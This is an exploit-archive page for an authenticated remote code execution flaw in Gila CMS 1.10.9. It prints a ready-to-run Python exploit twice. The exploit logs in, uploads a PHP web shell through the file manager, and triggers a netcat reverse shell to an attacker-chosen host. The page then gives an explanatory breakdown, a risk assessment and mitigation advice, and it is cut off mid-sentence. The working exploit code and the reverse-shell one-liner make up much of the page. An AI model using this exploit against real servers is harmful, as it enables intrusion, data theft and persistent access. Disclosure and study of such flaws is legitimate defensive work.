Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated)

Exploit Author: Omer Shaik Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2023-07-06
# Exploit Title: Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 05-07-2023
# Exploit Author: Omer Shaik (unknown_exploit)
# Vendor Homepage: https://gilacms.com/
# Software Link: https://github.com/GilaCMS/gila/
# Version: Gila 1.10.9
# Tested on: Linux

import requests
from termcolor import colored
from urllib.parse import urlparse

# Print ASCII art
ascii_art = """
 ██████╗ ██╗██╗      █████╗      ██████╗███╗   ███╗███████╗    ██████╗  ██████╗███████╗
██╔════╝ ██║██║     ██╔══██╗    ██╔════╝████╗ ████║██╔════╝    ██╔══██╗██╔════╝██╔════╝
██║  ███╗██║██║     ███████║    ██║     ██╔████╔██║███████╗    ██████╔╝██║     █████╗  
██║   ██║██║██║     ██╔══██║    ██║     ██║╚██╔╝██║╚════██║    ██╔══██╗██║     ██╔══╝  
╚██████╔╝██║███████╗██║  ██║    ╚██████╗██║ ╚═╝ ██║███████║    ██║  ██║╚██████╗███████╗
 ╚═════╝ ╚═╝╚══════╝╚═╝  ╚═╝     ╚═════╝╚═╝     ╚═╝╚══════╝    ╚═╝  ╚═╝ ╚═════╝╚══════╝

                              by Unknown_Exploit
"""

print(colored(ascii_art, "green"))

# Prompt user for target URL
target_url = input("Enter the target login URL (e.g., http://example.com/admin/): ")

# Extract domain from target URL
parsed_url = urlparse(target_url)
domain = parsed_url.netloc
target_url_2 = f"http://{domain}/"

# Prompt user for login credentials
username = input("Enter the email: ")
password = input("Enter the password: ")

# Create a session and perform login
session = requests.Session()
login_payload = {
    'action': 'login',
    'username': username,
    'password': password
}
response = session.post(target_url, data=login_payload)
cookie = response.cookies.get_dict()
var1 = cookie['PHPSESSID']
var2 = cookie['GSESSIONID']

# Prompt user for local IP and port
lhost = input("Enter the local IP (LHOST): ")
lport = input("Enter the local port (LPORT): ")

# Construct the payload
payload = f"rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+{lhost}+{lport}+>/tmp/f"
payload_url = f"{target_url_2}tmp/shell.php7?cmd={payload}"

# Perform file upload using POST request
upload_url = f"{target_url_2}fm/upload"
upload_headers = {
    "Host": domain,
    "Content-Length": "424",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarynKy5BIIJQcZC80i2",
    "Accept": "*/*",
    "Origin": target_url_2,
    "Referer": f"{target_url_2}admin/fm?f=tmp/.htaccess",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Cookie": f"PHPSESSID={var1}; GSESSIONID={var2}",
    "Connection": "close"
}
upload_data = f'''
------WebKitFormBoundarynKy5BIIJQcZC80i2
Content-Disposition: form-data; name="uploadfiles"; filename="shell.php7"
Content-Type: application/x-php

<?php system($_GET["cmd"]);?>

------WebKitFormBoundarynKy5BIIJQcZC80i2
Content-Disposition: form-data; name="path"

tmp
------WebKitFormBoundarynKy5BIIJQcZC80i2
Content-Disposition: form-data; name="g_response"

content
------WebKitFormBoundarynKy5BIIJQcZC80i2--
'''

upload_response = session.post(upload_url, headers=upload_headers, data=upload_data)

if upload_response.status_code == 200:
    print("File uploaded successfully.")
    # Execute payload
    response = session.get(payload_url)
    print("Payload executed successfully.")
else:
    print("Error uploading the file:", upload_response.text)


Gila CMS 1.10.9 Remote Code Execution Vulnerability: A Deep Dive into Authenticated RCE

On July 5, 2023, a critical security flaw was disclosed in Gila CMS 1.10.9, a lightweight open-source content management system. This vulnerability enables authenticated remote code execution (RCE), allowing attackers with valid login credentials to execute arbitrary commands on the server. The exploit, attributed to Unknown_Exploit, highlights the dangers of improper input validation and insecure file upload mechanisms in web applications.

Understanding the Vulnerability

The core of the vulnerability lies in the file manager module of Gila CMS, specifically in the /fm/upload endpoint. This endpoint accepts file uploads via multipart form data, but fails to properly sanitize file extensions and content, allowing attackers to upload PHP scripts with non-standard extensions (e.g., .php7).

Once uploaded, the file is accessible via a direct URL, such as http://example.com/tmp/shell.php7?cmd=.... The file contains a simple PHP payload:



This line executes any command passed through the cmd parameter, effectively turning the uploaded file into a web-based reverse shell.

Exploit Mechanics: Step-by-Step Analysis

The exploit workflow consists of three critical stages:

  • Authentication: The attacker must first gain access to the admin panel by providing valid credentials. This is a prerequisite for exploiting the RCE vulnerability.
  • File Upload: Using a crafted multipart request, the attacker uploads a PHP script with a non-standard extension (.php7) to the /tmp directory.
  • Command Execution: After upload, the attacker triggers the payload via a URL with a cmd parameter, which executes system commands.

Exploit Code Breakdown

Below is the Python-based exploit script used to demonstrate the vulnerability:


import requests
from termcolor import colored
from urllib.parse import urlparse

# Print ASCII art
ascii_art = """
 ██████╗ ██╗██╗ █████╗ ██████╗███╗ ███╗███████╗ ██████╗ ██████╗███████╗
██╔════╝ ██║██║ ██╔══██╗ ██╔════╝████╗ ████║██╔════╝ ██╔══██╗██╔════╝██╔════╝
██║ ███╗██║██║ ███████║ ██║ ██╔████╔██║███████╗ ██████╔╝██║ █████╗ 
██║ ██║██║██║ ██╔══██║ ██║ ██║╚██╔╝██║╚════██║ ██╔══██╗██║ ██╔══╝ 
╚██████╔╝██║███████╗██║ ██║ ╚██████╗██║ ╚═╝ ██║███████║ ██║ ██║╚██████╗███████╗
 ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝

 by Unknown_Exploit
"""

print(colored(ascii_art, "green"))

# Prompt user for target URL
target_url = input("Enter the target login URL (e.g., http://example.com/admin/): ")

# Extract domain from target URL
parsed_url = urlparse(target_url)
domain = parsed_url.netloc
target_url_2 = f"http://{domain}/"

# Prompt user for login credentials
username = input("Enter the email: ")
password = input("Enter the password: ")

# Create a session and perform login
session = requests.Session()
login_payload = {
 'action': 'login',
 'username': username,
 'password': password
}
response = session.post(target_url, data=login_payload)
cookie = response.cookies.get_dict()
var1 = cookie['PHPSESSID']
var2 = cookie['GSESSIONID']

# Prompt user for local IP and port
lhost = input("Enter the local IP (LHOST): ")
lport = input("Enter the local port (LPORT): ")

# Construct the payload
payload = f"rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+{lhost}+{lport}+>/tmp/f"
payload_url = f"{target_url_2}tmp/shell.php7?cmd={payload}"

# Perform file upload using POST request
upload_url = f"{target_url_2}fm/upload"
upload_headers = {
 "Host": domain,
 "Content-Length": "424",
 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36",
 "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarynKy5BIIJQcZC80i2",
 "Accept": "*/*",
 "Origin": target_url_2,
 "Referer": f"{target_url_2}admin/fm?f=tmp/.htaccess",
 "Accept-Encoding": "gzip, deflate",
 "Accept-Language": "en-US,en;q=0.9",
 "Cookie": f"PHPSESSID={var1}; GSESSIONID={var2}",
 "Connection": "close"
}
upload_data = f'''
------WebKitFormBoundarynKy5BIIJQcZC80i2
Content-Disposition: form-data; name="uploadfiles"; filename="shell.php7"
Content-Type: application/x-php



------WebKitFormBoundarynKy5BIIJQcZC80i2
Content-Disposition: form-data; name="path"

tmp
------WebKitFormBoundarynKy5BIIJQcZC80i2
Content-Disposition: form-data; name="g_response"

content
------WebKitFormBoundarynKy5BIIJQcZC8

Explanation: This script automates the exploit process. It begins by logging in using the provided credentials, capturing session cookies (PHPSESSID and GSESSIONID). Then, it uploads a malicious PHP file with a .php7 extension to the /tmp directory. The payload is designed to establish a reverse shell using nc (netcat), leveraging Unix named pipes (mkfifo) to bypass limitations in some environments.

The payload string is URL-encoded to ensure proper transmission. It performs the following:

  • rm+/tmp/f: Removes any existing named pipe.
  • mkfifo+/tmp/f: Creates a named pipe.
  • cat+/tmp/f|/bin/bash+-i+2>%261|nc+{lhost}+{lport}+>/tmp/f: Opens a bash shell, redirects stdin/stdout to netcat, and sends output to the attacker's listener.

Security Implications and Risk Assessment

This vulnerability is classified as High Severity due to:

  • Authenticated RCE: Only attackers with valid credentials can exploit it, reducing the attack surface but still posing a significant threat to organizations with weak password policies.
  • Privilege Escalation: Once a shell is established, attackers can escalate privileges, access sensitive data, or install backdoors.
  • Widespread Impact: Gila CMS is used in small to medium-sized websites, often with minimal security monitoring.

Attackers could leverage this vulnerability to:

  • Steal database credentials or configuration files.
  • Deploy malware or ransomware.
  • Establish persistent access via reverse shells.

Recommended Mitigation Strategies

Administrators and developers should implement the following defenses:

  • Input Sanitization: Reject file uploads with suspicious extensions (e.g., .php7, .phtml, .php).
  • File Upload Restrictions: Only allow safe file types (e.g., images, PDFs) and disable execution of uploaded files.
  • Disable PHP Execution in Upload Directories: Use .htaccess or server configuration to block PHP execution in <code